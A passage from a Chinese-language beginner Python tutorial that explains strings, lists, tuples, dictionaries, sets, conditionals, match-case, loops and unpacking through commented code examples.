s6 = 'He said "hello"' # 字符串里有双引号 → 外层用单引号
s7 = "He said \"hello\"" # 也可以用转义字符 \"(但不如上面简洁)
# 三引号可以写多行字符串
poem = """
白日依山尽,
黄河入海流。
欲穷千里目,
更上一层楼。
"""
print(poem)
# 三引号也常用于多行注释(函数的 docstring)
def greet():
"""
这是一个打招呼的函数。
它会打印一句问候语。
"""
print("Hello!")
字符串就像一排编号的格子,每个格子放一个字符:
s = "Hello"
# 索引(从 0 开始)
print(s[0]) # H(第一个字符)
print(s[1]) # e
print(s[-1]) # o(最后一个字符)
print(s[-2]) # l
# 切片 [start:end:step]
# 包含 start,不包含 end(左闭右开)
print(s[1:4]) # ell(索引 1、2、3)
print(s[:3]) # Hel(从头到索引 2)
print(s[2:]) # llo(从索引 2 到末尾)
print(s[::2]) # Hlo(每隔一个取一个)
print(s[::-1]) # olleH(反转字符串)
# 切片不会越界
print(s[0:100]) # Hello(超出部分自动截断)
# 但索引会越界
# print(s[10]) # IndexError!
s = "Hello"
# s[0] = "h" # ❌ TypeError! 字符串创建后不能修改
# 如果要"修改",只能创建新的字符串
s = "h" + s[1:] # "hello"(其实是创建了新字符串)
s = s.replace("H", "h") # "hello"
s = "Hello, World!"
# 查找子串
print(s.find("World")) # 7(返回首次出现的索引)
print(s.find("Python")) # -1(找不到返回 -1)
print(s.index("World")) # 7(和 find 类似,但找不到会报错)
print(s.count("l")) # 3(出现次数)
# 开头/结尾判断
print(s.startswith("Hello")) # True
print(s.endswith("!")) # True
# 内容判断
print("hello123".isalnum()) # True(全是字母或数字)
print("hello".isalpha()) # True(全是字母)
print("12345".isdigit()) # True(全是数字)
print(" \t\n".isspace()) # True(全是空白字符)
print("Hello".isupper()) # False
print("HELLO".isupper()) # True
print("hello".islower()) # True
s = "Hello, World!"
print(s.upper()) # HELLO, WORLD!
print(s.lower()) # hello, world!
print(s.title()) # Hello, World!(每个单词首字母大写)
print(s.capitalize()) # Hello, world!(只有第一个字母大写)
print(s.swapcase()) # hELLO, wORLD!(大小写互换)
s = "Hello, World!"
# 替换
print(s.replace("World", "Python")) # Hello, Python!
print(s.replace("l", "L", 2)) # HeLLo, World!(只替换前 2 个)
# 分割
print(s.split(", ")) # ['Hello', 'World!']
print("a-b-c".split("-")) # ['a', 'b', 'c']
# 按行分割
lines = "第一行\n第二行\n第三行"
print(lines.splitlines()) # ['第一行', '第二行', '第三行']
# 连接(split 的反操作)
words = ["Python", "is", "fun"]
print(" ".join(words)) # "Python is fun"
print("-".join(words)) # "Python-is-fun"
s = " Hello, World! "
print(s.strip()) # "Hello, World!"(去掉两边空白)
print(s.lstrip()) # "Hello, World! "(去掉左边)
print(s.rstrip()) # " Hello, World!"(去掉右边)
# strip 也可以去掉指定字符
print("***hello***".strip("*")) # "hello"
s = "Python"
print(s.center(20, "-")) # -------Python-------
print(s.ljust(20, ".")) # Python..............
print(s.rjust(20, ".")) # ..............Python
print(s.zfill(10)) # 0000Python
name = "张三"
age = 18
score = 95.678
# 基本用法
print(f"我叫{name},今年{age}岁")
# 表达式
print(f"明年{age + 1}岁")
print(f"{'成年' if age >= 18 else '未成年'}")
# 格式控制
print(f"分数:{score:.2f}") # 保留 2 位小数:95.68
print(f"百分比:{0.856:.1%}") # 百分比:85.6%
print(f"{'右对齐':>10}") # 右对齐
print(f"{'左对齐':<10}") # 左对齐
print(f"{'居中':^10}") # 居中
print(f"{'填充':*^10}") # ***填充****
# 千分位分隔
print(f"{1234567:,}") # 1,234,567
# 位置参数
print("{} is {}".format("Python", "awesome"))
print("{0} {1} {0}".format("Hello", "World")) # Hello World Hello
# 关键字参数
print("{name} is {age} years old".format(name="Tom", age=20))
print("我叫%s,今年%d岁" % ("张三", 18))
print("圆周率是 %.2f" % 3.14159)
| 转义字符 | 含义 | 示例 |
|---|---|---|
\n | 换行 | "第一行\n第二行" |
\t | 制表符(Tab) | "姓名\t年龄" |
\\ | 反斜杠本身 | "C:\\Users" |
\' | 单引号 | "It\'s" |
\" | 双引号 | "He said \"hi\"" |
\0 | 空字符 | — |
# 原始字符串(r-string):忽略转义
print(r"C:\Users\new") # C:\Users\new(\n 不会被解释为换行)
# 常用于正则表达式和 Windows 文件路径
这是 Python 新手最经典的困惑之一。
字符串(str) 就像是一篇文章的内容——你看到的文字含义。
字节串(bytes) 就像是这篇文章的摩尔斯电码——是传输和存储用的编码形式。
编码(encode)= 把文章翻译成电码;解码(decode)= 把电码翻译回文章。
# 字符串 → bytes(编码)
text = "你好Python"
data = text.encode("utf-8") # 编码为 UTF-8 字节
print(data) # b'\xe4\xbd\xa0\xe5\xa5\xbdPython'
print(type(data)) # <class 'bytes'>
# bytes → 字符串(解码)
text2 = data.decode("utf-8") # 从 UTF-8 字节解码
print(text2) # 你好Python
# 编码不匹配会报错
data_gbk = text.encode("gbk") # 用 GBK 编码
print(data_gbk)
# data_gbk.decode("utf-8") # ❌ UnicodeDecodeError!
# data_gbk.decode("gbk") # ✅ 用对应的编码解码
s = "abc",s[3] 会报 IndexError,最大索引是 len(s)-1s[0] = 'X' 会报错,必须创建新字符串 s = 'X' + s[1:]split 是字符串→列表,join 是列表→字符串列表是一个有序的、可变的集合,可以存放任意类型的数据。如果说变量是"一个盒子",那列表就是"一排盒子"——每个盒子有编号(索引),你可以随时查看、修改、添加或拿走盒子里的东西。
列表就像购物清单:你可以往上面加项目、删项目、修改项目、重新排序。清单上的项目有先后顺序(第一个、第二个……),而且随时可以改。
# 创建列表的几种方式
fruits = ["苹果", "香蕉", "橘子"] # 最常用:用方括号
numbers = [1, 2, 3, 4, 5] # 数字列表
mixed = [1, "hello", 3.14, True, None] # 可以混合不同类型
empty = [] # 空列表
from_list = list("hello") # ['h', 'e', 'l', 'l', 'o']
from_range = list(range(5)) # [0, 1, 2, 3, 4]
# 嵌套列表(列表里套列表)——常用来表示矩阵、表格等二维数据
matrix = [
[1, 2, 3], # 第 0 行
[4, 5, 6], # 第 1 行
[7, 8, 9] # 第 2 行
]
print(matrix[1][2]) # 6(第 1 行第 2 列,索引从 0 开始)
# 列表中可以存放任何类型的数据
person = ["张三", 18, True, [90, 85, 95]] # 名字、年龄、是否学生、成绩列表
列表的索引和切片语法和字符串完全一样:
fruits = ["苹果", "香蕉", "橘子", "西瓜", "葡萄"]
# 索引(从 0 开始)
print(fruits[0]) # 苹果(第一个)
print(fruits[1]) # 香蕉(第二个)
print(fruits[-1]) # 葡萄(最后一个)
print(fruits[-2]) # 西瓜(倒数第二个)
# 切片 [start:end:step]
print(fruits[1:3]) # ['香蕉', '橘子'](索引 1 到 2,不含 3)
print(fruits[:2]) # ['苹果', '香蕉'](从头到索引 1)
print(fruits[2:]) # ['橘子', '西瓜', '葡萄'](从索引 2 到末尾)
print(fruits[::-1]) # ['葡萄', '西瓜', '橘子', '香蕉', '苹果'](反转)
# 列表是可变的!可以直接修改元素
fruits[0] = "芒果"
print(fruits) # ['芒果', '香蕉', '橘子', '西瓜', '葡萄']
# 也可以用切片批量修改
fruits[1:3] = ["草莓", "蓝莓"]
print(fruits) # ['芒果', '草莓', '蓝莓', '西瓜', '葡萄']
fruits = ["苹果", "香蕉"]
# append:在末尾添加一个元素(最常用)
fruits.append("橘子")
print(fruits) # ['苹果', '香蕉', '橘子']
# insert:在指定位置插入(后面的元素自动后移)
fruits.insert(1, "芒果") # 在索引 1 的位置插入
print(fruits) # ['苹果', '芒果', '香蕉', '橘子']
# extend:合并另一个列表(把另一个列表的元素逐个添加)
fruits.extend(["西瓜", "葡萄"])
print(fruits) # ['苹果', '芒果', '香蕉', '橘子', '西瓜', '葡萄']
# + 运算符:合并两个列表(创建新列表,不修改原列表)
new = fruits + ["草莓"]
print(fruits) # 原列表没变
print(new) # 多了草莓
# * 运算符:重复列表
zeros = [0] * 5 # [0, 0, 0, 0, 0]
pattern = ["A", "B"] * 3 # ['A', 'B', 'A', 'B', 'A', 'B']
append 把参数整体作为一个元素添加:[1,2].append([3,4]) → [1, 2, [3, 4]]extend 把参数拆开逐个添加:[1,2].extend([3,4]) → [1, 2, 3, 4]
fruits = ["苹果", "香蕉", "橘子", "香蕉", "西瓜"]
# remove:删除第一个匹配的元素(只删第一个!)
fruits.remove("香蕉")
print(fruits) # ['苹果', '橘子', '香蕉', '西瓜'](第二个香蕉还在)
# pop:删除并返回指定位置的元素(默认最后一个)
last = fruits.pop() # 删除最后一个
print(last) # 西瓜
print(fruits) # ['苹果', '橘子', '香蕉']
first = fruits.pop(0) # 删除第一个
print(first) # 苹果
# del:删除指定位置的元素或切片
del fruits[0]
print(fruits) # ['香蕉']
# clear:清空列表
fruits.clear()
print(fruits) # []
# ⚠️ remove 不存在的元素会报错
# fruits.remove("西瓜") # ValueError: list.remove(x): x not in list
numbers = [3, 1, 4, 1, 5, 9, 2, 6, 5]
# in:判断元素是否存在
print(4 in numbers) # True
print(7 in numbers) # False
print(7 not in numbers) # True
# index:查找元素的索引(找到第一个就返回)
print(numbers.index(4)) # 2(4 在索引 2 的位置)
# ⚠️ index 找不到会报错
# print(numbers.index(7)) # ValueError
# count:统计元素出现的次数
print(numbers.count(1)) # 2(1 出现了 2 次)
print(numbers.count(7)) # 0(7 不存在)
# len:列表长度(元素个数)
print(len(numbers)) # 9
numbers = [3, 1, 4, 1, 5, 9, 2, 6, 5]
# sort:原地排序(直接修改原列表,不创建新列表)
numbers.sort()
print(numbers) # [1, 1, 2, 3, 4, 5, 5, 6, 9]
numbers.sort(reverse=True) # 降序排序
print(numbers) # [9, 6, 5, 5, 4, 3, 2, 1, 1]
# sorted:返回新列表,不修改原列表
original = [3, 1, 4, 1, 5]
new_sorted = sorted(original)
print(original) # [3, 1, 4, 1, 5](没变!)
print(new_sorted) # [1, 1, 3, 4, 5]
# 自定义排序规则(用 key 参数)
words = ["banana", "Apple", "cherry"]
words.sort(key=str.lower) # 忽略大小写排序
print(words) # ['Apple', 'banana', 'cherry']
# 按字典中的某个字段排序
students = [
{"name": "张三", "score": 90},
{"name": "李四", "score": 75},
{"name": "王五", "score": 85}
]
students.sort(key=lambda s: s["score"], reverse=True) # 按分数降序
print(students) # 王五 90, 张三 85, 李四 75
# reverse:反转列表(不是排序,是前后颠倒)
nums = [1, 2, 3]
nums.reverse()
print(nums) # [3, 2, 1]
列表推导式是 Python 最优雅的特性之一,它让你用一行代码创建列表,代替传统的 for 循环。
# 传统写法(4 行)
squares = []
for x in range(1, 6):
squares.append(x ** 2)
print(squares) # [1, 4, 9, 16, 25]
# 列表推导式(1 行搞定!)
squares = [x ** 2 for x in range(1, 6)]
print(squares) # [1, 4, 9, 16, 25]
# 语法:[表达式 for 变量 in 可迭代对象]
# 理解方式:把 for 循环的循环体放到前面
# 带条件过滤
even = [x for x in range(10) if x % 2 == 0]
print(even) # [0, 2, 4, 6, 8]
# 带 if-else(注意 if-else 放在 for 前面)
result = ["偶数" if x % 2 == 0 else "奇数" for x in range(5)]
print(result) # ['偶数', '奇数', '偶数', '奇数', '偶数']
# 嵌套循环
pairs = [(x, y) for x in range(3) for y in range(3)]
print(pairs)
# [(0,0), (0,1), (0,2), (1,0), (1,1), (1,2), (2,0), (2,1), (2,2)]
# 实际用法:提取字典中的值
students = [
{"name": "张三", "score": 90},
{"name": "李四", "score": 75},
{"name": "王五", "score": 85}
]
names = [s["name"] for s in students if s["score"] >= 80]
print(names) # ['张三', '王五']
# 实际用法:文件名过滤
import os
py_files = [f for f in os.listdir(".") if f.endswith(".py")]
元组和列表几乎一样,唯一的区别是:元组创建后不能修改(不能增删改元素)。
列表 = 可以随时修改的购物清单(今天写"苹果",明天可以改成"芒果")。
元组 = 已经签好的合同(写好了就不能改,改了就违法/报错)。
# 创建元组
t1 = (1, 2, 3)
t2 = ("hello", "world")
t3 = (1,) # ⚠️ 只有一个元素时必须加逗号!
t4 = () # 空元组
# 不加逗号的陷阱——新手必踩的坑!
not_tuple = (1) # 这不是元组!这是整数 1!括号只是改变了优先级
is_tuple = (1,) # 这才是元组——逗号才是关键
print(type(not_tuple)) # <class 'int'>
print(type(is_tuple)) # <class 'tuple'>
# 也可以不用括号创建元组(逗号才是关键)
t5 = 1, 2, 3 # 这也是元组
print(type(t5)) # <class 'tuple'>
# 元组可以索引和切片,但不能修改
t = (1, 2, 3, 4, 5)
print(t[0]) # 1
print(t[1:3]) # (2, 3)
print(len(t)) # 5
# t[0] = 10 # ❌ TypeError: 'tuple' object does not support item assignment
# t.append(6) # ❌ AttributeError: 'tuple' object has no attribute 'append'
# 拆包:把元组中的元素一次性赋给多个变量
x, y = (1, 2)
print(x) # 1
print(y) # 2
# 交换两个变量的值(Python 独有的简洁写法)
a, b = 10, 20
a, b = b, a # 一行搞定交换!
print(a, b) # 20 10
# 函数返回多个值(本质就是返回元组)
def get_min_max(numbers):
return min(numbers), max(numbers) # 返回元组
lo, hi = get_min_max([3, 1, 4, 1, 5, 9])
print(f"最小值:{lo},最大值:{hi}") # 最小值:1,最大值:9
# 星号收集剩余元素
first, *rest = [1, 2, 3, 4, 5]
print(first) # 1
print(rest) # [2, 3, 4, 5]
first, *middle, last = (1, 2, 3, 4, 5)
print(first) # 1
print(middle) # [2, 3, 4]
print(last) # 5
| 场景 | 推荐类型 | 原因 |
|---|---|---|
| 数据不会改变(坐标、RGB 颜色) | 元组 | 不可变更安全,可以作为字典的键 |
| 数据需要增删改(购物车、待办事项) | 列表 | 需要灵活修改 |
| 函数返回多个值 | 元组 | 惯例,拆包方便 |
| 大量数据、性能敏感 | 元组 | 比列表更快、占用内存更少 |
| 作为字典的键 | 元组 | 只有不可变类型才能做字典的键 |
| 不确定数据量 | 列表 | 需要随时添加/删除 |
lst = [1,2,3],lst[3] 报 IndexError,最大索引是 len(lst)-1lst[1:100] 不会报错,只会返回能取到的部分,这和索引不同lst[1:3] = [99] 会替换并改变列表长度,不是只替换值append([4,5]) 把列表当一个元素加入,extend([4,5]) 逐个加入sort() 修改原列表返回 None,sorted() 返回新列表t = ([1,2], 3),t[0].append(99) 可以执行!元组内列表可变字典是 Python 中最重要的数据结构之一,没有之一。它用键-值对(key-value pair)存储数据。字典的核心思想是:通过名字(键)查找数据(值),而不是通过编号。
列表 像一排有编号的柜子——你用编号(索引 0, 1, 2...)来找东西。你必须记住"第几个柜子放了什么"。
字典 像一本通讯录——你用名字(键)来找电话号码(值),不需要记编号。找"张三的电话",直接翻"张三"就行。
# 创建字典的几种方式
student = {
"name": "张三",
"age": 18,
"score": 95.5,
"is_passed": True
}
# 也可以用 dict() 构造函数
student2 = dict(name="张三", age=18)
# 从键值对列表创建
pairs = [("name", "张三"), ("age", 18)]
student3 = dict(pairs)
# 空字典
empty = {}
empty2 = dict()
student = {"name": "张三", "age": 18, "score": 95.5}
# 方式一:用 [] 直接访问(键不存在会报 KeyError)
print(student["name"]) # 张三
# print(student["gender"]) # ❌ KeyError: 'gender'
# 方式二:用 .get() 访问(键不存在返回 None,不会报错)
print(student.get("age")) # 18
print(student.get("gender")) # None(不报错)
print(student.get("gender", "未知")) # "未知"(指定默认值)
# 推荐:不确定键是否存在时用 get,确定存在时用 []
student = {"name": "张三", "age": 18}
# 添加新键值对
student["score"] = 95
print(student) # {'name': '张三', 'age': 18, 'score': 95}
# 修改已有的值
student["age"] = 19
print(student) # {'name': '张三', 'age': 19, 'score': 95}
# update:批量更新(合并字典)
student.update({"age": 20, "gender": "男", "city": "北京"})
print(student) # 新增了 gender 和 city,age 被更新为 20
student = {"name": "张三", "age": 18, "score": 95, "city": "北京"}
# del:删除指定键
del student["city"]
# pop:删除并返回值(可以设默认值)
score = student.pop("score") # 删除 score 并返回其值
print(score) # 95
result = student.pop("gender", "未设置") # 键不存在返回默认值,不报错
# clear:清空字典
student.clear()
student = {"name": "张三", "age": 18, "score": 95}
# 遍历键(默认就是遍历键)
for key in student:
print(key, student[key])
# 遍历键值对(最常用)
for key, value in student.items():
print(f"{key}: {value}")
# 只遍历值
for value in student.values():
print(value)
# 创建平方字典
squares = {x: x**2 for x in range(1, 6)}
print(squares) # {1: 1, 2: 4, 3: 9, 4: 16, 5: 25}
# 交换键和值
original = {"a": 1, "b": 2, "c": 3}
swapped = {v: k for k, v in original.items()}
print(swapped) # {1: 'a', 2: 'b', 3: 'c'}
# 带条件过滤
scores = {"张三": 90, "李四": 55, "王五": 80, "赵六": 45}
passed = {name: score for name, score in scores.items() if score >= 60}
print(passed) # {'张三': 90, '王五': 80}
字典里套字典是实际开发中非常常见的数据结构,比如 JSON 数据就是嵌套字典:
students = {
"001": {"name": "张三", "age": 18, "scores": [90, 85, 95]},
"002": {"name": "李四", "age": 19, "scores": [80, 75, 88]},
"003": {"name": "王五", "age": 20, "scores": [95, 92, 98]}
}
# 访问嵌套的值
print(students["001"]["name"]) # 张三
print(students["001"]["scores"][0]) # 90
# 安全访问嵌套字典(避免 KeyError)
name = students.get("004", {}).get("name", "未知")
print(name) # 未知
集合就像数学中的集合:没有重复元素、没有顺序。集合最大的用途是去重和集合运算(交集、并集、差集)。
# 创建集合
fruits = {"苹果", "香蕉", "橘子", "苹果"} # 重复的自动去除
print(fruits) # {'苹果', '香蕉', '橘子'}(顺序可能不同)
# ⚠️ 创建空集合必须用 set(),不能用 {}
empty_set = set() # ✅ 空集合
empty_dict = {} # ⚠️ 这是空字典!不是空集合!
# 列表去重——集合最常用的功能
numbers = [1, 2, 2, 3, 3, 3, 4, 4, 4]
unique = list(set(numbers))
print(unique) # [1, 2, 3, 4](顺序可能改变)
# 如果要保持顺序去重(Python 3.7+)
unique_ordered = list(dict.fromkeys(numbers))
print(unique_ordered) # [1, 2, 3, 4](保持原始顺序)
A = {1, 2, 3, 4, 5}
B = {4, 5, 6, 7, 8}
# 并集:所有元素(A 或 B 中的)
print(A | B) # {1, 2, 3, 4, 5, 6, 7, 8}
# 交集:共同元素(A 且 B 中的)
print(A & B) # {4, 5}
# 差集:A 有 B 没有的
print(A - B) # {1, 2, 3}
# 对称差集:只在一方出现的
print(A ^ B) # {1, 2, 3, 6, 7, 8}
# 实际应用:找出两个列表的共同元素
list1 = [1, 2, 3, 4, 5]
list2 = [4, 5, 6, 7, 8]
common = set(list1) & set(list2)
print(common) # {4, 5}
s = {1, 2, 3}
s.add(4) # {1, 2, 3, 4}
s.remove(2) # {1, 3, 4}(元素不存在会报 KeyError)
s.discard(10) # 元素不存在也不会报错(推荐用 discard)
s.pop() # 随机删除一个元素
squares = {x**2 for x in range(-3, 4)}
print(squares) # {0, 1, 4, 9}(负数的平方和正数一样,自动去重)
d["xxx"] 报 KeyError,用 d.get("xxx", 默认值) 避免set([3,1,2]) 不保证顺序,需要有序结果用 sorted(){} 是空字典,空集合必须写 set()remove() 会报 KeyError,用 discard() 更安全所有程序——无论多复杂——都由三种基本结构组成:
本章讲条件判断,下一章讲循环。
if 语句让程序能根据不同情况做出不同反应。就像日常生活中的"如果...就...":
"如果下雨,就带伞,否则不带。"
用 Python 写就是:if 下雨: 带伞 else: 不带伞
# 最简单的 if:只在条件为 True 时执行
age = 18
if age >= 18:
print("你是成年人") # 这行前面必须有缩进!
# 如果 age < 18,这行不会执行
# if-else:二选一
age = 15
if age >= 18:
print("成年") # 条件为 True 时执行
else:
print("未成年") # 条件为 False 时执行
# if-elif-else:多选一(elif 是 "else if" 的缩写)
score = 85
if score >= 90:
print("优秀")
elif score >= 80: # 第二个条件(只在第一个不满足时检查)
print("良好")
elif score >= 60: # 第三个条件
print("及格")
else: # 以上都不满足
print("不及格")
# 多个 elif:可以有任意多个
temperature = 28
if temperature >= 35:
print("酷热")
elif temperature >= 30:
print("炎热")
elif temperature >= 25:
print("温暖")
elif temperature >= 15:
print("凉爽")
elif temperature >= 0:
print("寒冷")
else:
print("严寒")
# Python 从上到下检查每个条件:
# 1. 检查 if 的条件 → 如果 True,执行 if 的代码块,跳过所有 elif 和 else
# 2. 如果 False,检查第一个 elif → 如果 True,执行它,跳过后面的
# 3. 如果还是 False,检查下一个 elif...
# 4. 如果所有条件都不满足,执行 else(如果有的话)
# ⚠️ 重要:条件检查是"短路"的——一旦某个条件满足,后面的不再检查
score = 95
if score >= 90:
print("优秀") # ✅ 执行(score=95 满足)
elif score >= 80:
print("良好") # ❌ 不执行(虽然也满足,但已经被上面的 elif "截胡"了)
elif score >= 60:
print("及格") # ❌ 不执行
# if 里面可以再套 if(但不建议嵌套太深,一般不超过 3 层)
age = 25
has_id = True
if age >= 18:
if has_id:
print("可以进入")
else:
print("请出示身份证")
else:
print("未成年人不能进入")
# 更好的写法:用 and 合并条件
if age >= 18 and has_id:
print("可以进入")
elif age >= 18:
print("请出示身份证")
else:
print("未成年人不能进入")
当 if-else 只是为了给一个变量赋值时,可以用一行代码搞定:
# 传统写法(4 行)
age = 20
if age >= 18:
status = "成年"
else:
status = "未成年"
# 三元表达式(1 行)
status = "成年" if age >= 18 else "未成年"
print(status) # 成年
# 语法:值1 if 条件 else 值2
# 如果条件为 True,返回值1;否则返回值2
# 实际应用
score = 75
result = "通过" if score >= 60 else "未通过"
abs_status = "正数" if x > 0 else ("零" if x == 0 else "负数")
# 在列表推导式中使用
numbers = [1, -2, 3, -4, 5]
labels = ["正" if x > 0 else "负" for x in numbers]
print(labels) # ['正', '负', '正', '负', '正']
Python 中有些值在条件判断中被视为 False,其他都是 True:
# 以下值在 if 中被视为 False:
# 0, 0.0, "", [], {}, set(), None, False
# 所以这些写法是等价的:
lst = []
if lst: # ✅ 推荐(Pythonic)
print("列表不为空")
if len(lst) > 0: # ✅ 也行,但不如上面简洁
print("列表不为空")
if lst != []: # ⚠️ 不推荐
print("列表不为空")
# 同样的道理
name = ""
if not name: # 空字符串 → False → not False → True
print("名字为空")
if name == "": # 也行,但不如上面 Pythonic
print("名字为空")
match-case 是 Python 3.10 新增的模式匹配语法,类似其他语言的 switch-case,但更强大:
# 基本用法
command = "start"
match command:
case "start":
print("启动程序")
case "stop":
print("停止程序")
case "restart":
print("重启程序")
case _: # _ 是通配符,匹配所有其他情况(相当于 else)
print("未知命令")
# 匹配多个值(用 | 分隔)
day = "周六"
match day:
case "周一" | "周二" | "周三" | "周四" | "周五":
print("工作日")
case "周六" | "周日":
print("周末")
# 结合拆包(模式匹配的强大之处)
point = (0, 5)
match point:
case (0, 0):
print("原点")
case (x, 0):
print(f"在 x 轴上,x={x}")
case (0, y):
print(f"在 y 轴上,y={y}")
case (x, y):
print(f"坐标:({x}, {y})")
# 匹配字典结构
data = {"name": "张三", "age": 18}
match data:
case {"name": str(name), "age": int(age)}:
print(f"{name},{age} 岁") # 张三,18 岁
case {"name": str(name)}:
print(f"只有名字:{name}")
# ⚠️ 常见误解:
# case {"name": str} → 这是匹配"键 name 存在且值为任意对象",不是"值必须是 str 类型"!
# 要检查类型,必须用 case {"name": str(name)} 捕获值,再判断类型
# 或者用守卫条件:
match data:
case {"name": name, "age": age} if isinstance(name, str) and isinstance(age, int):
print("类型正确")
str 在这里被当作一个字面量case {"name": str(name)} 或守卫条件 if isinstance(...)海象运算符让你在表达式中同时计算和赋值,减少重复代码:
# 没有海象运算符——同一个计算要写两次
data = input("输入内容:")
if len(data) > 10:
print(f"内容太长了,有 {len(data)} 个字符") # len(data) 重复了
# 有海象运算符——只计算一次
if (n := len(data)) > 10:
print(f"内容太长了,有 {n} 个字符")
# 在 while 循环中特别有用
# 传统写法(input 要写两遍)
line = input("输入(q退出):")
while line != "q":
print(f"你输入了:{line}")
line = input("输入(q退出):")
# 海象运算符写法(只写一遍)
while (line := input("输入(q退出):")) != "q":
print(f"你输入了:{line}")
如果上一章的条件语句是"十字路口选择方向",那循环语句就是"跑步机"——你设定好条件(跑 10 圈或跑到累),它就一直重复执行,直到条件满足才停下来。掌握循环,你就掌握了让程序自动重复干活的能力。
想象你要打印 1 到 100 的所有数字。没有循环的话,你需要写 100 行 print 语句。有了循环,只需要 2 行:
# 没有循环(100 行代码)
print(1)
print(2)
print(3)
# ... 省略 94 行 ...
print(100)
# 有循环(2 行代码)
for i in range(1, 101):
print(i)
Python 有两种循环:for 循环(遍历序列)和 while 循环(条件循环)。
for 循环用于遍历一个序列中的每个元素。你可以把它理解为"对于序列中的每一个元素,执行以下操作"。
# 遍历列表
fruits = ["苹果", "香蕉", "橘子"]
for fruit in fruits:
print(f"我喜欢{fruit}")
# 我喜欢苹果
# 我喜欢香蕉
# 我喜欢橘子
# 遍历字符串(逐字符)
for char in "Python":
print(char, end=" ") # P y t h o n
# 遍历字典
person = {"name": "张三", "age": 18, "city": "北京"}
for key, value in person.items():
print(f"{key}: {value}")
# 遍历元组
for item in (10, 20, 30):
print(item, end=" ") # 10 20 30
# 遍历集合
for color in {"红", "绿", "蓝"}:
print(color) # 顺序不确定
range() 生成一个数字序列,常和 for 配合使用,用来"重复执行 N 次":
# range(stop):从 0 到 stop-1(不含 stop)
for i in range(5):
print(i, end=" ") # 0 1 2 3 4
# range(start, stop):从 start 到 stop-1
for i in range(1, 6):
print(i, end=" ") # 1 2 3 4 5
# range(start, stop, step):带步长
for i in range(0, 10, 2): # 每次加 2
print(i, end=" ") # 0 2 4 6 8
# 倒序(步长为负数)
for i in range(5, 0, -1): # 每次减 1
print(i, end=" ") # 5 4 3 2 1
# 实际用法:重复执行 N 次
for _ in range(3): # _ 表示"我不关心这个变量"
print("重复三次")
# 重复三次
# 重复三次
# 重复三次
fruits = ["苹果", "香蕉", "橘子"]
# 不用 enumerate 的写法(不推荐)
for i in range(len(fruits)):
print(f"{i}: {fruits[i]}")
# 用 enumerate(推荐,更 Pythonic)
for i, fruit in enumerate(fruits):
print(f"{i}: {fruit}")
# 0: 苹果
# 1: 香蕉
# 2: 橘子
# 指定起始编号
for i, fruit in enumerate(fruits, start=1):
print(f"第{i}种:{fruit}")
# 第1种:苹果
# 第2种:香蕉
# 第3种:橘子
while 循环在条件为 True 时一直重复执行。适合"不知道要循环多少次"的场景。
# 基本 while
count = 0
while count < 5:
print(count, end=" ")
count += 1 # ⚠️ 必须有这行!否则死循环
# 输出:0 1 2 3 4
# ⚠️ 死循环(忘记更新条件变量)
# count = 0
# while count < 5:
# print(count) # 永远打印 0,因为 count 没有增加!
# while True + break(无限循环,手动退出)
import random
answer = random.randint(1, 100)
while True:
guess = int(input("猜一个 1-100 的数字:"))
if guess == answer:
print("恭喜你猜对了!")
break # 跳出循环
elif guess > answer:
print("大了")
else:
print("小了")
# break 跳出整个循环(不再执行后面的迭代)
for i in range(10):
if i == 5:
break # 到 5 就停
print(i, end=" ")
# 输出:0 1 2 3 4(没有 5,因为遇到 break 就停了)
# while 中的 break
count = 0
while True:
if count >= 5:
break
print(count, end=" ")
count += 1
# 输出:0 1 2 3 4
# continue 跳过本次循环的剩余代码,直接进入下一次
for i in range(10):
if i % 2 == 0:
continue # 跳过偶数
print(i, end=" ")
# 输出:1 3 5 7 9(偶数被跳过了)
# 实际用法:跳过无效数据
data = [10, -5, 20, -3, 30, 0, 40]
for num in data:
if num <= 0:
continue # 跳过负数和零
print(num, end=" ")
# 输出:10 20 30 40
这是 Python 独有的语法,很多人不知道:
# else 在循环正常结束(没有被 break)时执行
for i in range(5):
if i == 10:
break
else:
print("循环正常结束,没有 break") # ✅ 会执行(因为没有 break)
# 实际用法:查找元素
numbers = [1, 3, 5, 7, 9]
target = 5
for num in numbers:
if num == target:
print(f"找到了 {target}")
break
else:
print(f"没找到 {target}") # 如果没有 break(没找到),执行这里
循环里面可以再套循环。外层循环每执行一次,内层循环完整执行一遍。
# 九九乘法表
for i in range(1, 10):
for j in range(1, i + 1):
print(f"{j}x{i}={i*j}", end="\t")
print() # 换行
# 打印三角形
n = 5
for i in range(1, n + 1):
print(" " * (n - i) + "*" * (2 * i - 1))
# *
# ***
# *****
# *******
# *********
names = ["张三", "李四", "王五"]
scores = [90, 85, 95]
cities = ["北京", "上海", "广州"]
# zip 把多个序列"拉链式"配对
for name, score, city in zip(names, scores, cities):
print(f"{name}来自{city},分数{score}")
# 张三来自北京,分数90
# 李四来自上海,分数85
# 王五来自广州,分数95
# ⚠️ zip 以最短的序列为准
a = [1, 2, 3, 4]
b = ["a", "b"]
print(list(zip(a, b))) # [(1, 'a'), (2, 'b')](4 被丢弃了)
# 列表推导式——立即生成整个列表,占用内存
squares_list = [x**2 for x in range(1000000)]
# 生成器表达式——按需生成,几乎不占内存
squares_gen = (x**2 for x in range(1000000))
# 生成器只能遍历一次
print(next(squares_gen)) # 0
print(next(squares_gen)) # 1
range(1, 5) 是 1,2,3,4 不包含 5,新手最容易犯的错解包是 Python 中最具"优雅感"的语法特性之一。想象你收到一个包裹,里面装了三样东西——你不需要一件一件拿出来,而是"一抖",所有东西就整整齐齐地摆在桌上了。这就是解包:用一行代码把序列中的元素分配给多个变量。而星号 * 则是一个"万能工具"——它既能收集(把剩余的东西装进袋子),也能展开(把袋子里的东西倒出来)。掌握解包和星号运算符,你的代码会变得更简洁、更 Pythonic。
解包(Unpacking)是 Python 中一个非常优雅的语法特性,让你可以把一个序列中的元素一次性赋给多个变量。它的核心思想是:等号左边有多个变量,等号右边有相同数量的值,Python 会按顺序一一对应赋值。
想象你去超市买了三个苹果,收银员说"请把袋子打开"——你一打开,三个苹果就自动滚出来,第一个到你的左手,第二个到右手,第三个到桌上。这就是解包:袋子(列表/元组)一打开,里面的元素就按顺序"跳"到对应的变量里。
# === 基本解包 ===
# 列表解包
a, b, c = [1, 2, 3]
print(a) # 1
print(b) # 2
print(c) # 3
# 执行过程:
# 第1步:Python 检查左边有3个变量,右边有3个值
# 第2步:a = 1, b = 2, c = 3,按顺序一一对应
# 第3步:赋值完成
# 元组解包
x, y = (10, 20)
print(x) # 10
print(y) # 20
# 元组用小括号 () 包裹,解包方式和列表完全一样
# 字符串也可以解包
a, b, c = "ABC"
print(a) # 'A'
print(b) # 'B'
